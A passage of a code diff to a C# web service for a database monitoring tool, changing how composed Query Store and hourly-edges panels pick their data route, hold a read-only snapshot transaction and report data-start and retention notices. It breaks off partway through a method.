+            }
+        }
+
+        await using var snapshot = hourlyEdgesSnapshot;
+
+        var runContext = new ComposeRunContext(serverScope, start, end, values, rollups, now, coverage, queryStoreWideEligible, wideResolution.WideStart, HourlyEdges: snapshot?.Verdict, ModuleMapThrough: snapshot?.ModuleMapThrough, UnregisteredServers: unregisteredServers, QueryStoreGroupMembers: wideResolution.GroupMembers, QueryStoreStampThrough: stampThrough);
         var (compiled, compileError) = ComposeCompiler.Compile(plan!, runContext);
         if (compileError is not null)
         {
             return ComposeRunOutcome.BadRequest(compileError);
         }
 
+        ReadScope.NoteSource(
+            queryStoreWideEligible ? ReadScope.SourceIntervalTable : snapshot?.Verdict is not null ? ReadScope.SourceHourlyEdges : ReadScope.SourceRaw);
+
         try
         {
             /* Resolved once per RUN, from the store, and deliberately not cached: see
@@ -1298,13 +2968,27 @@ pays nothing extra. */
                re-read per query so a panel with annotation overlays pays one read, not one per source —
                which also means every query in ONE run shares one ceiling, matching the role
                statement_timeout they all run under. */
-            var composedQuerySeconds = await McpCommandDeadlines.ResolveComposedQuerySecondsAsync(postgres, cancellationToken);
+            var composedQuerySeconds = candidateComposedSeconds ?? await McpCommandDeadlines.ResolveComposedQuerySecondsAsync(postgres, cancellationToken);
+
+            var clientSeconds = ComposeClientDeadlineSeconds(composedQuerySeconds, clientDeadlineHeadroomSeconds);
+            var rows = await RunComposedQueryAsync(postgres, compiled!, clientSeconds, cancellationToken, snapshot?.Connection);
+            if (snapshot is not null)
+            {
+                await snapshot.DisposeAsync();
+            }
+
+            /* W13: a scope naming only servers the registry does not know, over rows that hold nothing, is a server that does not exist, and
+               a null aggregate row was being returned as if it were an answer. Names that ARE stored (a removed server's history, #5525)
+               keep returning their rows, so this fires only when the run found nothing for them. */
+            if (UnknownServerMessage(serverScope, unregisteredServers, rows, registryLookupFailed) is { } unknownServer)
+            {
+                return ComposeRunOutcome.NotFound(unknownServer);
+            }
 
-            var rows = await RunComposedQueryAsync(postgres, compiled!, composedQuerySeconds, cancellationToken);
             /* Event-annotation overlays (design D5): one bounded, catalog-only event query per requested
                source, on the SAME window + server scope, under the same statement_timeout. Additive —
                {sql, rows} are unchanged; a panel that requests no annotations returns an empty array. */
-            var annotations = await RunAnnotationsAsync(postgres, plan!, runContext, composedQuerySeconds, cancellationToken);
+            var annotations = await RunAnnotationsAsync(postgres, plan!, runContext, clientSeconds, cancellationToken);
             var payload = new JsonObject { ["sql"] = compiled!.Sql, ["rows"] = rows, ["annotations"] = annotations };
             /* Partial window, and says so (#1665): when the route landed on a tier whose retention cannot
                reach the window's start on a retention-active store, tell the caller instead of quietly
@@ -1313,18 +2997,41 @@ returning a short slice of what they asked for. Additive — absent when the win
                ends — retention loses the oldest points, the row cap now drops them too by keeping the
                newest buckets — and a panel can genuinely hit both at once. Showing one and swallowing
                the other would under-report exactly the panel that is worst off. */
+            var retentionNotice = ComposeStoreAvailability.BuildRetentionNotice(plan!.Measure.SourceTable, compiled.Route, start, now, rollups, coverage);
+
+            /* The tier notice judges a tier by the store-wide floors, so it is silent for a source with no rollups,
+               a store with no TimescaleDB, and one server whose rows start later than the rest. When it is silent,
+               ask where this panel's own rows start. The Query Store wide table reports its own start in the
+               history note below, so a panel it served is not asked twice. */
+            ComposeStoreAvailability.DataStartNotice? dataStartNotice = null;
+            if (retentionNotice is null && !queryStoreWideEligible)
+            {
+                dataStartNotice = await ComposeStoreAvailability.FindDataStartNoticeAsync(
+                    postgres, plan.Measure.SourceTable, compiled.Route, serverScope, start, end, composedQuerySeconds, cancellationToken, logger);
+                retentionNotice = dataStartNotice?.Text;
+            }
+
             if (ComposeStoreAvailability.CombineNotices(
-                    ComposeStoreAvailability.BuildRetentionNotice(plan!.Measure.SourceTable, compiled.Route, start, now, rollups, coverage),
+                    retentionNotice,
                     ComposeStoreAvailability.BuildRowCapNotice(plan.Mode, rows.Count)) is string notice)
             {
                 payload["notice"] = notice;
+
+                /* #4966: the sentence names its times in UTC, which is what any other reader of this answer (the MCP
+                   tool) needs, but the page prints every time in the browser's zone. When the notice is the data-start
+                   one, the answer also carries the instants it names, and the sentence, so the page can write it again
+                   in its own clock. The tier notice names no instant the page prints, and carries none. */
+                if (includeDataStartFields && dataStartNotice is { } found)
+                {
+                    WebDataStartNote.AddComposedPanelInstants(payload, found.Text, found.DataStartUtc, start, end);
+                }
             }
 
             /* #4689: the interval table served this panel from a start later than the window's, so say where it
                starts and why. Absent when the table did not serve or nothing was cut. */
             if (queryStoreWideEligible && wideResolution.WideStart is DateTime historyStart && historyStart > start)
             {
-                payload["query_store_history_starts"] = historyStart.ToString("o");
+                payload["query_store_history_starts"] = McpHelpers.FormatEffectiveStart(historyStart);
                 payload["query_store_history_note"] = QueryStoreHistoryNote(historyStart, wideResolution.Bound, wideResolution.SettingServer);
                 if (wideResolution.SettingServer is not null)
                 {
@@ -1349,7 +3056,9 @@ so a test can run it without a live Postgres round trip. */
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
-            return ComposeRunOutcome.ServerError($"Error running query: {ex.Message}");
+            /* Test seam: the outcome keeps only the message, so a test that wants the chain gets it here. */
+            onRunException?.Invoke(ex);
+            return FromRunException(ex, remapClientTimeout);
         }
     }
 
@@ -1364,11 +3073,11 @@ so a test can run it without a live Postgres round trip. */
     /// <summary>#4617: named so the MCP read census (<see cref="Darling.Tests.McpReadCommandTimeoutTests"/>)
     /// recognises the <c>NpgsqlCommand(string, connection)</c> construction below as a store read rather
     /// than an unrecognised receiver.</summary>
-    private const string QueryStoreWideSchemaVersionSql = "SELECT COALESCE(MAX(version), 0) FROM darling_schema_version";
+    internal const string QueryStoreWideSchemaVersionSql = "SELECT COALESCE(MAX(version), 0) FROM darling_schema_version";
 
     /// <summary>#4617: see <see cref="QueryStoreWideSchemaVersionSql"/>.</summary>
     private const string QueryStoreWideServerIdsSql =
-        "SELECT server_id, server_name FROM collect.servers WHERE is_enabled AND ($1::text[] IS NULL OR server_name = ANY($1))";
+        "SELECT server_id, server_name, is_enabled FROM collect.servers WHERE ($1::text[] IS NULL OR server_name = ANY($1)) ORDER BY server_id";
 
     /// <summary>
     /// #4605: whether a composed Query Store panel over <paramref name="start"/>..<paramref name="end"/>
@@ -1382,9 +3091,9 @@ so a test can run it without a live Postgres round trip. */
     /// a refused clause on any server in scope makes the whole panel raw — every input here leans toward raw,
     /// the same rule #3953 already applies to the single-server reads.
     /// </summary>
-    internal static async Task<(bool Eligible, DateTime? WideStart, QueryStoreIntervalWide.WideStartBound Bound, string? SettingServer)> ResolveQueryStoreWideEligibleAsync(
+    internal static async Task<(bool Eligible, DateTime? WideStart, QueryStoreIntervalWide.WideStartBound Bound, string? SettingServer, long? GroupMembers, DateTime? StampThrough)> ResolveQueryStoreWideEligibleAsync(
         NpgsqlDataSource postgres, IReadOnlyList<string>? serverScope, DateTime start, DateTime end,
-        DateTime? literalWindowEnd, System.Threading.CancellationToken cancellationToken)
+        DateTime? literalWindowEnd, System.Threading.CancellationToken cancellationToken, PanelPlan? groupMembersFor = null)
     {
         if (end - start < ComposeQueryStoreWideMinWindow)
         {
@@ -1407,6 +3116,9 @@ so a test can run it without a live Postgres round trip. */
             }
 
             var wideServers = new List<(int Id, string Name)>();
+            /* #5582 L4: the stamp-through lookup takes every server in scope, enabled or not, because the read and the fleet stale arm
+               cover a disabled server's rows too. The eligibility checks and the group-member count below still see the enabled ones only. */
+            var scopedServerIds = new List<int>();
             await using (var servers = new NpgsqlCommand(QueryStoreWideServerIdsSql, connection) { CommandTimeout = McpCommandDeadlines.ReadSeconds })
             {
                 servers.Parameters.Add(new NpgsqlParameter
@@ -1417,7 +3129,11 @@ so a test can run it without a live Postgres round trip. */
                 await using var reader = await servers.ExecuteReaderAsync(cancellationToken);
                 while (await reader.ReadAsync(cancellationToken))
                 {
-                    wideServers.Add((reader.GetInt32(0), reader.GetString(1)));
+                    scopedServerIds.Add(reader.GetInt32(0));
+                    if (reader.GetBoolean(2))
+                    {
+                        wideServers.Add((reader.GetInt32(0), reader.GetString(1)));
+                    }
                 }
             }
 
@@ -1432,13 +3148,22 @@ so a test can run it without a live Postgres round trip. */
             var wideStart = start;
             var bound = QueryStoreIntervalWide.WideStartBound.Window;
             string? settingServer = null;
+
+            /* The floors are one store-wide answer: the first server to reach that step reads them into this
+               cache and the rest reuse them; a check that refuses before that step never reads them. */
+            var storeWide = new QueryStoreIntervalWide.StoreWideInputsCache();
             foreach (var (serverId, serverName) in wideServers)
             {
                 var plan = await QueryStoreIntervalWide.ResolveReadAsync(
                     connection, serverId, start, end, literalWindowEnd, ComposeQueryStoreWideMinWindow,
-                    McpCommandDeadlines.ReadSeconds, logger: null, cancellationToken);
+                    McpCommandDeadlines.ReadSeconds, ReadScope.Current?.Logger, cancellationToken, storeWide);
                 if (!plan.UseTable)
                 {
+                    if (plan.DecisionFailed)
+                    {
+                        ReadScope.Note(ReadFallback.GateFailed);
+                    }
+
                     return default;
                 }
 
@@ -1450,22 +3175,75 @@ so a test can run it without a live Postgres round trip. */
                 }
             }
 
-            return (true, wideStart, bound, settingServer);
+            /* #5582: for a Query Store RankedTimeSeries panel, the members of its group dimension, on this same connection, so the
+               compiler can bound the single-scan base CTE (buckets x members). Null for any other panel, and when unknown. */
+            long? groupMembers = groupMembersFor is null
+                ? null
+                : await QueryStoreGroupMembers.ResolveAsync(connection, groupMembersFor, wideServers.Count, cancellationToken);
+
+            /* #5582 part 3: where the compose rollup stops answering, on this same connection. Null (today's route) on any fault. */
+            var stampThrough = await ResolveQueryStoreStampThroughAsync(connection, scopedServerIds.ToArray(), wideStart, end, schemaVersion, cancellationToken);
+
+            return (true, wideStart, bound, settingServer, groupMembers, stampThrough);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
-            /* #4508/#4283 census: never carry ex.Message into a web-surface trace; the exception's type name
-               alone is enough to distinguish a fault here (this check never answers an HTTP response either
-               way, but the census sweeps every ex.Message in this file regardless of destination). */
-            System.Diagnostics.Trace.TraceWarning($"#4605 compose Query Store wide-table eligibility check failed; reading raw: {ex.GetType().Name}");
+            ReadScope.NoteFallback(ReadFallback.GateFailed, "#4605 compose Query Store wide-table eligibility check", ex);
             return default;
         }
     }
 
+    /// <summary>
+    /// #5582 part 3: the first hour of the window the compose rollup (V173) cannot answer. The hours checked run from
+    /// <c>date_trunc('hour', wideStart)</c> to the hour of the window end. An hour is unusable when it is missing from
+    /// <c>query_store_compose_stamp_hours</c> (never built), or when a <c>_built</c> pair for a server in scope has
+    /// <c>built_seq IS DISTINCT FROM late_seq</c> (a late write since the build). The statement's own stale arm covers the
+    /// race between this lookup and the read, so this is only where the rollup arm stops and the wide-table tail starts.
+    /// Null means today's route: the schema is below V173, the very first hour is already unusable (nothing to gain), or
+    /// the lookup faulted (it leans toward the route that needs no rollup). A usable run to the end is capped at the window
+    /// end, because a later instant makes the rollup arm read rows the statement's outer WHERE throws away.
+    /// </summary>
+    internal static async Task<DateTime?> ResolveQueryStoreStampThroughAsync(
+        NpgsqlConnection connection, int[] serverIds, DateTime wideStart, DateTime end, int schemaVersion, System.Threading.CancellationToken cancellationToken)
+    {
+        if (schemaVersion < QueryStoreComposeStamp.RungVersion || end <= wideStart)
+        {
+            return null;
+        }
+
+        try
+        {
+            await using var lookup = new NpgsqlCommand(QueryStoreStampThroughSql, connection) { CommandTimeout = McpCommandDeadlines.ReadSeconds };
+            lookup.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(wideStart, DateTimeKind.Unspecified) });
+            lookup.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(end, DateTimeKind.Unspecified) });
+            lookup.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Integer, Value = serverIds });
+            var found = await lookup.ExecuteScalarAsync(cancellationToken);
+            /* The series stops at the hour of the window end, so a found hour is never after the end, and it is never before the hour
+               of wideStart: the one test against wideStart covers "the very first hour is already unusable". */
+            var through = found is DateTime unusable ? unusable : end;
+            return through <= wideStart ? null : DateTime.SpecifyKind(through, DateTimeKind.Unspecified);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            ReadScope.NoteFallback(ReadFallback.GateFailed, "#5582 compose rollup stamp-through lookup", ex);
+            return null;
+        }
+    }
+
+    /// <summary>#5582 part 3: see <see cref="ResolveQueryStoreStampThroughAsync"/>. $1 wide start, $2 window end, $3 server ids in scope.</summary>
+    internal const string QueryStoreStampThroughSql = """
+        SELECT MIN(g.hour)
+        FROM generate_series(date_trunc('hour', $1::timestamp), date_trunc('hour', $2::timestamp), interval '1 hour') AS g(hour)
+        WHERE NOT EXISTS (SELECT 1 FROM collect.query_store_compose_stamp_hours h WHERE h.hour = g.hour)
+           OR EXISTS (SELECT 1 FROM collect.query_store_compose_stamp_built b
+                      WHERE b.hour = g.hour AND b.server_id = ANY($3::integer[]) AND b.built_seq IS DISTINCT FROM b.late_seq)
+        """;
+
     /// <summary>#4689: the note a Compose Query Store panel carries when the interval table served it from a
-    /// start later than the window's. Same wording as the MCP top-queries table route.</summary>
+    /// start later than the window's. Same wording as the MCP top-queries table route, and #4966 the same text for
+    /// the start: the one <c>query_store_history_starts</c> prints beside it, UTC with the Z.</summary>
     internal static string QueryStoreHistoryNote(DateTime historyStart, QueryStoreIntervalWide.WideStartBound bound, string? settingServer = null) =>
-        QueryStoreIntervalWide.HistoryNote(historyStart, bound, manyServers: true, settingServer);
+        QueryStoreIntervalWide.HistoryNote(McpHelpers.FormatEffectiveStart(historyStart), bound, manyServers: true, settingServer);
 
     /// <summary>Maps a failed (non-<see cref="ComposeRunOutcome.Payload"/>) <see cref="ComposeRunOutcome"/> onto
     /// its HTTP answer — factored out of the <c>/api/compose/run</c> route (the <see cref="ToHttpResult"/> /
@@ -1483,6 +3261,12 @@ internal static string QueryStoreHistoryNote(DateTime historyStart, QueryStoreIn
     /// <see cref="ComposeRunOutcome"/>.</summary>
     internal static IResult ComposeRunFailureResult(ComposeRunOutcome outcome, string route, ILogger logger, long elapsedMs)
     {
+        /* W13: an unknown server is a plain 404 with its message, never a quiet empty answer. */
+        if (outcome.IsNotFound)
+        {
+            return ErrorResult(outcome.Error!, StatusCodes.Status404NotFound);
+        }
+
         if (outcome.Fault is not null)
         {
             DarlingWebFailureLog.Report(logger, route, elapsedMs, outcome.Fault);
@@ -1519,83 +3303,372 @@ they share one parser and can never drift on what "a timestamp" means. */
     {
         var names = new List<string>();
 
-        switch (body["server"])
+        switch (body["server"])
+        {
+            case JsonArray array:
+                foreach (var item in array)
+                {
+                    if (item is JsonValue v && v.TryGetValue<string>(out var s))
+                    {
+                        AddServer(names, s);
+                    }
+                }
+
+                break;
+            case JsonValue value when value.TryGetValue<string>(out var single):
+                AddServer(names, single);
+                break;
+            default:
+                if (values.TryGetValue(ComposeVariable.ServerDimension, out var fromVariable))
+                {
+                    AddServer(names, fromVariable);
+                }
+
+                break;
+        }
+
+        return names.Count == 0 ? null : names;
+    }
+
+    /// <summary>Adds a server name to the scope, treating null/empty and the literal "All" as "no scope" (fleet).</summary>
+    private static void AddServer(List<string> names, string? name)
+    {
+        if (!string.IsNullOrEmpty(name) && !string.Equals(name, "All", StringComparison.OrdinalIgnoreCase))
+        {
+            names.Add(name);
+        }
+    }
+
+    /// <summary>Parses the run's resolved variable values (<c>{name: scalar}</c>) into the string map the
+    /// compiler binds $var filters from. A non-scalar value maps to null (an unresolved variable).</summary>
+    private static Dictionary<string, string?> ParseRunValues(JsonNode? node)
+    {
+        var values = new Dictionary<string, string?>(StringComparer.Ordinal);
+        if (node is JsonObject obj)
+        {
+            foreach (var kvp in obj)
+            {
+                values[kvp.Key] = kvp.Value is JsonValue value
+                    ? (value.TryGetValue<string>(out var s) ? s : value.ToString())
+                    : null;
+            }
+        }
+
+        return values;
+    }
+
+    /// <summary>#4605: the most the count guard's server-side <c>statement_timeout</c> may be, in seconds. The guard runs under
+    /// <c>min(this, the compose deadline)</c>, so a lower operator deadline is never exceeded by the guard.</summary>
+    internal const int HourlyEdgesGuardMaxSeconds = 15;
+
+    /// <summary>#4605: how far the guard's client-side deadline sits above its server-side <c>statement_timeout</c>, so the
+    /// server's cancel wins the race.</summary>
+    internal const int HourlyEdgesGuardClientHeadroomSeconds = 5;
+
+    /// <summary>#4605: the guard's server-side deadline, in whole seconds: <c>min(15, composedSeconds)</c>, and never below one.</summary>
+    internal static int HourlyEdgesGuardSeconds(int composedSeconds) => Math.Max(1, Math.Min(HourlyEdgesGuardMaxSeconds, composedSeconds));
+
+    /// <summary>#4605: the snapshot's isolation is set by <c>BeginTransactionAsync</c>; this makes it read only, before any query runs.</summary>
+    private const string HourlyEdgesReadOnlySql = "SET TRANSACTION READ ONLY";
+
+    /// <summary>#4605: a savepoint so a guard fault (a 15 s timeout cancels the statement and aborts the transaction) can be
+    /// undone and the panel statement still run on the same connection and snapshot.</summary>
+    private const string HourlyEdgesSavepointSql = "SAVEPOINT hourly_edges_guard";
+
+    /// <summary>#4605: undoes a failed guard, and with it the guard's <c>SET LOCAL</c>.</summary>
+    private const string HourlyEdgesRollbackToSavepointSql = "ROLLBACK TO SAVEPOINT hourly_edges_guard";
+
+    /// <summary>#4605: the guard's own, shorter server-side deadline, in force for the guard statement only. SET takes no bound
+    /// parameter, so the text is built from an integer count of seconds and nothing else.</summary>
+    internal static string HourlyEdgesGuardTimeoutSql(int guardSeconds) =>
+        string.Create(CultureInfo.InvariantCulture, $"SET LOCAL statement_timeout = '{guardSeconds}s'");
+
+    /// <summary>#4605: a savepoint around the module map watermark read, so a fault in that read (the map's state table missing, say)
+    /// is undone and the panel statement still runs on the same connection and snapshot.</summary>
+    private const string HourlyEdgesModuleMapSavepointSql = "SAVEPOINT hourly_edges_module_map";
+
+    /// <summary>#4605: undoes the watermark read's savepoint, whether the read succeeded or failed.</summary>
+    private const string HourlyEdgesModuleMapRollbackSql = "ROLLBACK TO SAVEPOINT hourly_edges_module_map";
+
+    /// <summary>#4605: puts the role's <c>statement_timeout</c> (the compose deadline) back for the panel statement. <c>DEFAULT</c> is
+    /// the value the session started with, which for the compose role is the operator's configured deadline, so the panel
+    /// keeps exactly the timeout it has today. Still <c>LOCAL</c>, so nothing outlives the transaction.</summary>
+    private const string HourlyEdgesRestoreTimeoutSql = "SET LOCAL statement_timeout = DEFAULT";
+
+    /// <summary>#4605: the connection and the open REPEATABLE READ READ ONLY transaction one hourly-edges panel run shares between
+    /// its count guard and its panel statement, plus the guard's verdict (null when the guard did not pass). Disposing it ends
+    /// the transaction, which only read, and returns the connection.</summary>
+    private sealed class HourlyEdgesSnapshot : IAsyncDisposable
+    {
+        private readonly NpgsqlTransaction _transaction;
+        private bool _disposed;
+
+        public HourlyEdgesSnapshot(NpgsqlConnection connection, NpgsqlTransaction transaction, ComposeHourlyEdgesVerdict? verdict, DateTime? moduleMapThrough = null)
+        {
+            Connection = connection;
+            _transaction = transaction;
+            Verdict = verdict;
+            ModuleMapThrough = moduleMapThrough;
+        }
+
+        public NpgsqlConnection Connection { get; }
+
+        public ComposeHourlyEdgesVerdict? Verdict { get; }
+
+        /// <summary>The module map's watermark, read in this snapshot, or null when the panel does not join modules, the
+        /// guard did not pass, or the map has no watermark.</summary>
+        public DateTime? ModuleMapThrough { get; }
+
+        public async ValueTask DisposeAsync()
+        {
+            if (_disposed)
+            {
+                return;
+            }
+
+            _disposed = true;
+            await _transaction.DisposeAsync();
+            await Connection.DisposeAsync();
+        }
+    }
+
+    /// <summary>The <see cref="Exception.Data"/> key marking a guard rollback fault that was already logged.</summary>
+    private const string HourlyEdgesLoggedKey = "pm.hourly-edges.logged";
+
+    /// <summary>Notes a fault that abandoned the snapshot start. A guard rollback fault was already logged by the verdict path, so
+    /// it is only noted; any other fault is noted and logged.</summary>
+    internal static void NoteHourlyEdgesSnapshotStartFault(Exception ex)
+    {
+        if (ex.Data.Contains(HourlyEdgesLoggedKey))
+        {
+            ReadScope.Note(ReadFallback.GateFailed);
+        }
+        else
+        {
+            ReadScope.NoteFallback(ReadFallback.GateFailed, "#4605 compose hourly-edges snapshot start", ex);
+        }
+    }
+
+    /// <summary>Opens the run's connection, begins the snapshot transaction and runs the count guard in it. A failed OPEN throws
+    /// <see cref="ComposeStoreOpenException"/> to the caller. A fault after the open (the begin, the read-only step, a guard
+    /// rollback that itself failed) returns null and the panel opens a fresh connection and reads raw; a guard fault that was
+    /// undone cleanly returns a snapshot whose verdict is null and the panel reads raw on it. A cancellation propagates.
+    /// When the panel joins modules and the guard passed, the module map's watermark is read in the same transaction, so the
+    /// watermark and the panel statement see one snapshot.</summary>
+    private static async Task<HourlyEdgesSnapshot?> BeginHourlyEdgesSnapshotAsync(
+        NpgsqlDataSource postgres, ComposeHourlyEdgesCandidate candidate, IReadOnlyList<string>? serverScope, int composedSeconds,
+        bool readModuleMapWatermark, System.Threading.CancellationToken cancellationToken, IReadOnlyList<string>? unregisteredServers = null)
+    {
+        /* The open is outside the try on purpose: a store that cannot be reached throws ComposeStoreOpenException to the caller, who
+           answers it the way it answers the panel's own failed open. Opening again here would cost a second open timeout. */
+        var connection = await OpenComposeConnectionAsync(postgres, cancellationToken);
+        NpgsqlTransaction? transaction = null;
+        try
+        {
+            transaction = await connection.BeginTransactionAsync(System.Data.IsolationLevel.RepeatableRead, cancellationToken);
+            await ExecuteSnapshotStatementAsync(connection, HourlyEdgesReadOnlySql, McpCommandDeadlines.ReadSeconds, cancellationToken);
+            var verdict = await ResolveHourlyEdgesVerdictAsync(connection, candidate, serverScope, composedSeconds, cancellationToken, unregisteredServers);
+            var moduleMapThrough = verdict is not null && readModuleMapWatermark
+                ? await ReadModuleMapWatermarkInSnapshotAsync(connection, cancellationToken)
+                : null;
+            return new HourlyEdgesSnapshot(connection, transaction, verdict, moduleMapThrough);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            NoteHourlyEdgesSnapshotStartFault(ex);
+            if (transaction is not null)
+            {
+                await transaction.DisposeAsync();
+            }
+
+            await connection.DisposeAsync();
+
+            return null;
+        }
+        catch (OperationCanceledException)
         {
-            case JsonArray array:
-                foreach (var item in array)
-                {
-                    if (item is JsonValue v && v.TryGetValue<string>(out var s))
-                    {
-                        AddServer(names, s);
-                    }
-                }
+            if (transaction is not null)
+            {
+                await transaction.DisposeAsync();
+            }
 
-                break;
-            case JsonValue value when value.TryGetValue<string>(out var single):
-                AddServer(names, single);
-                break;
-            default:
-                if (values.TryGetValue(ComposeVariable.ServerDimension, out var fromVariable))
-                {
-                    AddServer(names, fromVariable);
-                }
+            await connection.DisposeAsync();
 
-                break;
+            throw;
         }
+    }
 
-        return names.Count == 0 ? null : names;
+    /// <summary>Reads the module map's watermark on the snapshot connection. The read swallows its own faults and returns null, but
+    /// a failed statement aborts the transaction, so the read runs under a savepoint that is always rolled back to: a fault is
+    /// undone and the panel reads without the map, and a clean read loses nothing. A rollback that itself fails is rethrown to
+    /// the snapshot begin, which abandons the snapshot.</summary>
+    private static async Task<DateTime?> ReadModuleMapWatermarkInSnapshotAsync(NpgsqlConnection connection, System.Threading.CancellationToken cancellationToken)
+    {
+        await ExecuteSnapshotStatementAsync(connection, HourlyEdgesModuleMapSavepointSql, McpCommandDeadlines.ReadSeconds, cancellationToken);
+        var watermark = await DarlingModuleMap.ReadWatermarkAsync(connection, cancellationToken);
+        await ExecuteSnapshotStatementAsync(connection, HourlyEdgesModuleMapRollbackSql, McpCommandDeadlines.ReadSeconds, cancellationToken);
+        return watermark;
     }
 
-    /// <summary>Adds a server name to the scope, treating null/empty and the literal "All" as "no scope" (fleet).</summary>
-    private static void AddServer(List<string> names, string? name)
+    private static async Task ExecuteSnapshotStatementAsync(
+        NpgsqlConnection connection, string sql, int commandSeconds, System.Threading.CancellationToken cancellationToken)
     {
-        if (!string.IsNullOrEmpty(name) && !string.Equals(name, "All", StringComparison.OrdinalIgnoreCase))
-        {
-            names.Add(name);
-        }
+        await using var command = new NpgsqlCommand(sql, connection) { CommandTimeout = commandSeconds };
+        await command.ExecuteNonQueryAsync(cancellationToken);
     }
 
-    /// <summary>Parses the run's resolved variable values (<c>{name: scalar}</c>) into the string map the
-    /// compiler binds $var filters from. A non-scalar value maps to null (an unresolved variable).</summary>
-    private static Dictionary<string, string?> ParseRunValues(JsonNode? node)
+    /// <summary>
+    /// #4605: runs <see cref="IntervalRollupCountGuard.QueryStatsSql"/> on the run's snapshot connection and returns the verdict
+    /// the compiler needs to take the hourly-plus-raw-edges route, or null. The guard runs under its own 15 s
+    /// <c>statement_timeout</c>, which is put back to the compose deadline before the panel statement. Only a count of 0 is a
+    /// pass; any other count, a ledger that does not cover the window (<see cref="IntervalRollupCountGuard.UncoveredResult"/>, noted as
+    /// <see cref="ReadFallback.LedgerUncovered"/> with no log line), any fault and any timeout return null, and the panel reads raw.
+    /// A store before V164 has no ledger table, and it is found by its schema version, not by the guard's fault: right after the
+    /// savepoint, and before the guard's statement timeout and SQL, the run reads the version (<see cref="QueryStoreWideSchemaVersionSql"/>,
+    /// the Query Store route's own probe). Below <see cref="QueryStatsHourLedger.RungVersion"/> the guard never runs; the read is
+    /// noted <see cref="ReadFallback.GateFailed"/> with no log line, for a state the store's migration ends. An undefined table on a
+    /// store at the rung is a real fault and takes the normal path below: one Warning. The guard's <c>$3</c> is bound
+    /// from <see cref="ComposeSourceRouter.NormalizeServerScope"/> alone, and the verdict carries that same scope, so a verdict
+    /// proven for one scope never serves another. The guard proves the rollup over the scope the panel read takes: by server id, plus
+    /// <c>$4</c> (<paramref name="unregisteredServers"/>, the names the registry does not hold) when the run has any (#5525). A failed guard is undone to its savepoint so the transaction stays usable
+    /// for the raw panel statement. If that undo itself fails, the failure is rethrown and the snapshot is abandoned.
+    /// </summary>
+    internal static async Task<ComposeHourlyEdgesVerdict?> ResolveHourlyEdgesVerdictAsync(
+        NpgsqlConnection connection, ComposeHourlyEdgesCandidate candidate, IReadOnlyList<string>? serverScope, int composedSeconds,
+        System.Threading.CancellationToken cancellationToken, IReadOnlyList<string>? unregisteredServers = null)
     {
-        var values = new Dictionary<string, string?>(StringComparer.Ordinal);
-        if (node is JsonObject obj)
+        var guardSeconds = HourlyEdgesGuardSeconds(composedSeconds);
+        var scope = ComposeSourceRouter.NormalizeServerScope(serverScope);
+        try
         {
-            foreach (var kvp in obj)
+            await ExecuteSnapshotStatementAsync(connection, HourlyEdgesSavepointSql, McpCommandDeadlines.ReadSeconds, cancellationToken);
+
+            /* A store before V164 has no ledger table, and its migration ends that state at the next start. Its schema version says so,
+               so read it first (the Query Store wide-table route's own probe, #4617) and do not run a guard that cannot plan: the read
+               stays a failed gate (gate_failures in get_read_latency) with no Warning per panel run. The probe sits inside the savepoint,
+               so a fault in it is undone like the guard's, and ahead of the guard's statement timeout, so nothing needs putting back.
+               Every guard fault, an undefined table on a store at the rung included, still reaches the catch and warns once. */
+            int schemaVersion;
+            await using (var probe = new NpgsqlCommand(QueryStoreWideSchemaVersionSql, connection) { CommandTimeout = McpCommandDeadlines.ReadSeconds })
             {
-                values[kvp.Key] = kvp.Value is JsonValue value
-                    ? (value.TryGetValue<string>(out var s) ? s : value.ToString())
-                    : null;
+                schemaVersion = Convert.ToInt32(await probe.ExecuteScalarAsync(cancellationToken));
+            }
+
+            if (schemaVersion < QueryStatsHourLedger.RungVersion)
+            {
+                ReadScope.Note(ReadFallback.GateFailed);
+                return null;
+            }
+
+            await ExecuteSnapshotStatementAsync(connection, HourlyEdgesGuardTimeoutSql(guardSeconds), McpCommandDeadlines.ReadSeconds, cancellationToken);
+
+            long mismatches;
+            /* Bound to a local so the construction reads `new NpgsqlCommand(<identifier>, connection)`, the shape McpReadCommandTimeoutTests'
+               store-receiver census recognises; a method call as the first argument is an unclassifiable receiver there (#5525). */
+            var guardSql = IntervalRollupCountGuard.SqlFor(unregisteredServers is { Count: > 0 });
+            await using (var guard = new NpgsqlCommand(guardSql, connection) { CommandTimeout = guardSeconds + HourlyEdgesGuardClientHeadroomSeconds })
+            {
+                guard.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(candidate.HourStartUtc, DateTimeKind.Unspecified) });
+                guard.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp, Value = DateTime.SpecifyKind(candidate.HourEndUtc, DateTimeKind.Unspecified) });
+                guard.Parameters.Add(new NpgsqlParameter
+                {
+                    NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text,
+                    Value = scope is null ? DBNull.Value : scope.ToArray(),
+                });
+                if (unregisteredServers is { Count: > 0 })
+                {
+                    /* #5525: the names the registry does not hold, matched on the row's stored name, exactly as the panel read matches them. */
+                    guard.Parameters.Add(new NpgsqlParameter
+                    {
+                        NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Array | NpgsqlTypes.NpgsqlDbType.Text,
+                        Value = unregisteredServers.ToArray(),
+                    });
+                }
+
+                mismatches = Convert.ToInt64(await guard.ExecuteScalarAsync(cancellationToken));
+            }
+
+            await ExecuteSnapshotStatementAsync(connection, HourlyEdgesRestoreTimeoutSql, McpCommandDeadlines.ReadSeconds, cancellationToken);
+
+            /* The hour ledger does not cover the window yet (its counted_since is after the window start, or its state row is missing).
+               That is an expected state, not a fault and not a mismatch: nothing is logged, the scope notes the reason so the read shows
+               as a fallback in get_read_latency, and the panel reads raw on this same transaction (#4605). */
